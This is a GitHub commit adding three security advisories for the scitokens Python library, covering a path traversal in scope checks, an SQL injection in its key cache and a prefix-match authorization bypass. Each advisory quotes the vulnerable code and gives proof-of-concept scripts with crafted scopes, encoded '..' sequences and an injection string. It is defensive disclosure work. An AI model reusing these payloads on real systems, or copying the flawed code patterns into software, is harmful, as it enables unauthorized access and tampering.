Skip to content

Commit 34944e4

Browse files
1 parent 2cf0252 commit 34944e4

3 files changed

Lines changed: 211 additions & 0 deletions

File tree

Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-3x2w-63fp-3qvw",
4+
"modified": "2026-03-31T22:51:36Z",
5+
"published": "2026-03-31T22:51:36Z",
6+
"aliases": [
7+
"CVE-2026-32727"
8+
],
9+
"summary": "SciTokens has an Authorization Bypass via Path Traversal in Scope Validation",
10+
"details": "### Summary\nThe `Enforcer` is vulnerable to a path traversal attack where an attacker can use dot-dot (`..`) in the `scope` claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using `startswith`.\n\n### Details\n**File:** `src/scitokens/scitokens.py` \n**Methods:** `_check_scope`, `_scope_path_matches` \n**File:** `src/scitokens/urltools.py` \n**Method:** `normalize_path`\n\n## Description\nWhen a token is verified, the `Enforcer` extracts the authorized path from the `scope` or `scp` claim. This path is passed through `urltools.normalize_path`, which uses `posixpath.normpath` to resolve relative segments.\n\nIf a token has a scope like `read:/home/user1/..`, the normalization process converts this to `/home`. When the enforcer checks if a request for `/home/user2` is authorized, it compares it against the normalized path `/home`.\n\n### Vulnerable Logic Flow:\n\n1. **Normalization:** In `_check_scope`, the path `/home/user1/..` is normalized to `/home`.\n2. **Comparison:** In `_scope_path_matches`, the requested path `/home/user2` is checked against the allowed path `/home`:\n ```python\n return requested_path.startswith(allowed_path + '/')\n # \"/home/user2\".startswith(\"/home/\") is True\n ```\n\n### Bypassing with URL Encoding:\nSince `normalize_path` unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., `%2e%2e`) to hide the traversal from simple string filters that don't account for encoding.\n\n### Root Traversal:\nA scope like `read:/anything/..` normalizes to `read:/`, which grants access to the entire file system (or whatever resource space the enforcer is guarding).\n\n## Impact\nAn attacker who can influence the `scope` claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.\n\n## Proof of Concept\nThe following examples demonstrate the bypass (see `poc_path_traversal.py` for a full reproduction):\n\n- **Scope:** `read:/home/user1/..` -> **Access Granted to:** `/home/user2`\n- **Scope:** `read:/anything/..` -> **Access Granted to:** `/etc/passwd`\n- **Scope:** `read:/foo/%2e%2e/bar` -> **Access Granted to:** `/bar`\n```\n\n\nimport scitokens\nimport os\nimport sys\n\n# Ensure we can import from src\nif os.path.exists(\"src\"):\n sys.path.append(\"src\")\n\ndef test_path_traversal_bypass():\n print(\"--- Proof of Concept: Path Traversal in Scope Validation ---\")\n \n issuer = \"https://scitokens.org\"\n enforcer = scitokens.Enforcer(issuer)\n \n # Imagine an application that expects to restrict a user to their own directory: /home/user1\n # The application validates that the token has 'read' access to /home/user1\n \n # MALICIOUS TOKEN\n # An attacker provides a token with a scope that uses '..' to traverse up.\n # 'read:/home/user1/..' effectively resolves to 'read:/home'\n token = scitokens.SciToken()\n token['iss'] = issuer\n token['scope'] = \"read:/home/user1/..\"\n \n # VICTIM PATH\n # The attacker tries to access a sibling directory (another user's data)\n requested_path = \"/home/user2\"\n \n print(f\"Token scope: {token['scope']}\")\n print(f\"Requested path: {requested_path}\")\n \n # Internal normalization in Scitokens 1.9.6:\n # urltools.normalize_path(\"/home/user1/..\") -> \"/home\"\n # urltools.normalize_path(\"/home/user2\") -> \"/home/user2\"\n # Since \"/home/user2\".startswith(\"/home\") is True, access is granted.\n \n print(\"\\nTesting authorization...\")\n is_authorized = enforcer.test(token, \"read\", requested_path)\n \n print(f\"Is authorized: {is_authorized}\")\n \n if is_authorized:\n print(\"\\n[VULNERABILITY CONFIRMED]\")\n print(f\"The Enforcer ALLOWED access to {requested_path}\")\n print(f\"even though the scope was nominally restricted to /home/user1/..\")\n print(\"This bypasses the intended directory isolation.\")\n else:\n print(\"\\n[VULNERABILITY NOT REPRODUCED]\")\n print(\"The Enforcer blocked the access attempt.\")\n\n # Another example: Root traversal\n print(\"\\n--- Example 2: Root Traversal ---\")\n token['scope'] = \"read:/anything/..\" # Resolves to /\n requested_path = \"/etc/passwd\" # Or any sensitive path\n \n print(f\"Token scope: {token['scope']}\")\n print(f\"Requested path: {requested_path}\")\n \n is_authorized = enforcer.test(token, \"read\", requested_path)\n print(f\"Is authorized: {is_authorized}\")\n \n if is_authorized:\n print(\"[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!\")\n\nif __name__ == \"__main__\":\n test_path_traversal_bypass()\n\n```\n\n\n## Recommended Fix\nValidate that the path in the scope does not contain `..` components **after unquoting** but **before normalization**. Additionally, ensure that any validation errors raised during this process are subclasses of `ValidationFailure` so they are correctly handled by the `Enforcer.test` method.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "scitokens"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.9.7"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/scitokens/scitokens/security/advisories/GHSA-3x2w-63fp-3qvw"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32727"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/scitokens/scitokens/pull/230"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/scitokens/scitokens/commit/2d1cc9e42bc944fe0bbc429b85d166e7156d53f9"
54+
},
55+
{
56+
"type": "PACKAGE",
57+
"url": "https://github.com/scitokens/scitokens"
58+
},
59+
{
60+
"type": "WEB",
61+
"url": "https://github.com/scitokens/scitokens/releases/tag/v1.9.7"
62+
}
63+
],
64+
"database_specific": {
65+
"cwe_ids": [
66+
"CWE-22"
67+
],
68+
"severity": "HIGH",
69+
"github_reviewed": true,
70+
"github_reviewed_at": "2026-03-31T22:51:36Z",
71+
"nvd_published_at": "2026-03-31T03:15:57Z"
72+
}
73+
}
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-rh5m-2482-966c",
4+
"modified": "2026-03-31T22:49:15Z",
5+
"published": "2026-03-31T22:49:15Z",
6+
"aliases": [
7+
"CVE-2026-32714"
8+
],
9+
"summary": "SciTokens is vulnerable to SQL Injection in KeyCache",
10+
"details": "### Summary\nThe `KeyCache` class in `scitokens` was vulnerable to SQL Injection because it used Python's `str.format()` to construct SQL queries with user-supplied data (such as `issuer` and `key_id`). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.\n\nRan the POC below locally.\n\n### Details\n**File:** `src/scitokens/utils/keycache.py`\n\n### Vulnerable Code Snippets\n\n**1. In `addkeyinfo` (around line 74):**\n```python\ncurs.execute(\"DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'\".format(issuer, key_id))\n```\n\n**2. In `_addkeyinfo` (around lines 89 and 94):**\n```python\ninsert_key_statement = \"INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \\\n '{keydata}', '{next_update}')\"\n# ...\ncurs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,\n keydata=json.dumps(keydata), next_update=time.time()+next_update))\n```\n\n**3. In `_delete_cache_entry` (around line 128):**\n```python\ncurs.execute(\"DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'\".format(issuer,\n key_id))\n```\n\n**4. In `_add_negative_cache_entry` (around lines 148 and 152):**\n```python\ninsert_key_statement = \"INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \\\n '{keydata}', '{next_update}')\"\n# ...\ncurs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,\n keydata=keydata, next_update=time.time()+cache_retry_interval))\n```\n\n**5. In `getkeyinfo` (around lines 193 and 198):**\n```python\nkey_query = (\"SELECT * FROM keycache WHERE \"\n \"issuer = '{issuer}'\")\n# ...\ncurs.execute(key_query.format(issuer=issuer, key_id=key_id))\n```\n\n\n### PoC\n```\nimport sqlite3\nimport os\nimport sys\nimport tempfile\nimport shutil\nimport time\nimport json\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives import serialization\n\ndef poc_sql_injection():\n print(\"--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---\")\n \n # We will demonstrate the vulnerability by manually executing the kind of query\n # that WAS present in the code, showing how it can be exploited.\n \n # Setup temporary database\n fd, db_path = tempfile.mkstemp()\n os.close(fd)\n \n conn = sqlite3.connect(db_path)\n curs = conn.cursor()\n curs.execute(\"CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))\")\n \n # Add legitimate entries\n curs.execute(\"INSERT INTO keycache VALUES (?, ?, ?, ?, ?)\", (\"https://legit1.com\", int(time.time())+3600, \"key1\", \"{}\", int(time.time())+3600))\n curs.execute(\"INSERT INTO keycache VALUES (?, ?, ?, ?, ?)\", (\"https://legit2.com\", int(time.time())+3600, \"key2\", \"{}\", int(time.time())+3600))\n conn.commit()\n \n curs.execute(\"SELECT count(*) FROM keycache\")\n print(f\"Count before injection: {curs.fetchone()[0]}\")\n \n # MALICIOUS INPUT\n # The original code was: \n # curs.execute(\"DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'\".format(issuer, key_id))\n \n malicious_issuer = \"any' OR '1'='1' --\"\n malicious_kid = \"irrelevant\"\n \n print(f\"Simulating injection with issuer: {malicious_issuer}\")\n \n # This simulates what the VULNERABLE code did:\n query = \"DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'\".format(malicious_issuer, malicious_kid)\n print(f\"Generated query: {query}\")\n \n curs.execute(query)\n conn.commit()\n \n curs.execute(\"SELECT count(*) FROM keycache\")\n count = curs.fetchone()[0]\n print(f\"Count after injection: {count}\")\n \n if count == 0:\n print(\"[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!\")\n \n conn.close()\n os.remove(db_path)\n\nif __name__ == \"__main__\":\n poc_sql_injection()\n```\n### Impact\nAn attacker who can influence the `issuer` or `key_id` (e.g., through a malicious token or issuer endpoint) could:\n1. **Modify or Delete Cache Entries:** Clear the entire key cache or inject malicious keys.\n2. **Information Leakage:** Query other tables or system information if SQLite is configured with certain extensions.\n3. **Potential RCE:** In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using `ATTACH DATABASE` to write a malicious file).\n\n### MITIGATION AND WORKAROUNDS\nReplace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., `?` for SQLite).",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "scitokens"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.9.6"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/scitokens/scitokens/security/advisories/GHSA-rh5m-2482-966c"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32714"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/scitokens/scitokens/commit/3dba108853f2f4a6c0f2325c03779bf083c41cf2"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/scitokens/scitokens"
54+
},
55+
{
56+
"type": "WEB",
57+
"url": "https://github.com/scitokens/scitokens/releases/tag/v1.9.6"
58+
}
59+
],
60+
"database_specific": {
61+
"cwe_ids": [
62+
"CWE-89"
63+
],
64+
"severity": "CRITICAL",
65+
"github_reviewed": true,
66+
"github_reviewed_at": "2026-03-31T22:49:15Z",
67+
"nvd_published_at": "2026-03-31T03:15:55Z"
68+
}
69+
}
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-w8fp-g9rh-34jh",
4+
"modified": "2026-03-31T22:51:03Z",
5+
"published": "2026-03-31T22:51:03Z",
6+
"aliases": [
7+
"CVE-2026-32716"
8+
],
9+
"summary": "SciTokens has an Authorization Bypass via Incorrect Scope Path Prefix Checking",
10+
"details": "### Summary\nThe `Enforcer` incorrectly validates scope paths by using a simple prefix match (`startswith`). This allows a token with access to a specific path (e.g., `/john`) to also access sibling paths that start with the same prefix (e.g., `/johnathan`, `/johnny`), which is an **Authorization Bypass**.\n\n### Details\n**File:** `src/scitokens/scitokens.py` \n**Methods:** `_validate_scp` and `_validate_scope`\n\n### Vulnerable Code Snippets:\n\n**In `_validate_scp` (around line 696):**\n```python\n for scope in value:\n authz, norm_path = self._check_scope(scope)\n if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):\n return True\n```\n\n**In `_validate_scope` (around line 722):**\n```python\n for scope in value.split(\" \"):\n authz, norm_path = self._check_scope(scope)\n if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):\n return True\n```\n\nIf `norm_path` (authorized) is `/john` and `norm_requested_path` (requested) is `/johnathan`, `startswith` returns `True`, incorrectly granting access.\n\n### PoC\n```\n\nimport scitokens\nimport sys\n\ndef poc_scope_bypass():\n \"\"\"\n Demonstrate an Authorization Bypass vulnerability in scope path checking.\n \"\"\"\n print(\"--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---\")\n \n issuer = \"https://scitokens.org/unittest\"\n enforcer = scitokens.Enforcer(issuer)\n \n # Create a token with access to /john\n token = scitokens.SciToken()\n token['iss'] = issuer\n token['scope'] = \"read:/john\"\n \n print(f\"Authorized path in scope: /john\")\n \n # 1. Test access to /john/file (should be allowed)\n print(f\"[1] Testing legitimate subpath: /john/file\")\n if enforcer.test(token, 'read', '/john/file'):\n print(\" -> Access GRANTED (Correct behavior)\")\n else:\n print(\" -> Access DENIED (Incorrect behavior - should have access to subpaths)\")\n\n # 2. Test access to /johnathan (SHOULD BE DENIED)\n print(f\"[2] Testing illegitimate sibling path: /johnathan\")\n if enforcer.test(token, 'read', '/johnathan'):\n print(\" -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.\")\n else:\n print(\" -> Access DENIED (Correct behavior - fix is working)\")\n\n # 3. Test access to /johnny (SHOULD BE DENIED)\n print(f\"[3] Testing illegitimate sibling path: /johnny\")\n if enforcer.test(token, 'read', '/johnny'):\n print(\" -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.\")\n else:\n print(\" -> Access DENIED (Correct behavior - fix is working)\")\n\nif __name__ == \"__main__\":\n # Ensure scitokens from src/ is available\n sys.path.insert(0, \"src\")\n poc_scope_bypass()\n\n```\n### Impact\nThis bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user `john` might be able to read or write to the directory of user `johnathan` simply because their names share a prefix.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "scitokens"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.9.6"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/scitokens/scitokens/security/advisories/GHSA-w8fp-g9rh-34jh"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32716"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/scitokens/scitokens/commit/7a237c0f642efb9e8c36ac564b745895cca83583"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/scitokens/scitokens"
54+
},
55+
{
56+
"type": "WEB",
57+
"url": "https://github.com/scitokens/scitokens/releases/tag/v1.9.6"
58+
}
59+
],
60+
"database_specific": {
61+
"cwe_ids": [
62+
"CWE-285"
63+
],
64+
"severity": "HIGH",
65+
"github_reviewed": true,
66+
"github_reviewed_at": "2026-03-31T22:51:03Z",
67+
"nvd_published_at": "2026-03-31T03:15:57Z"
68+
}
69+
}

0 commit comments

Comments
 (0)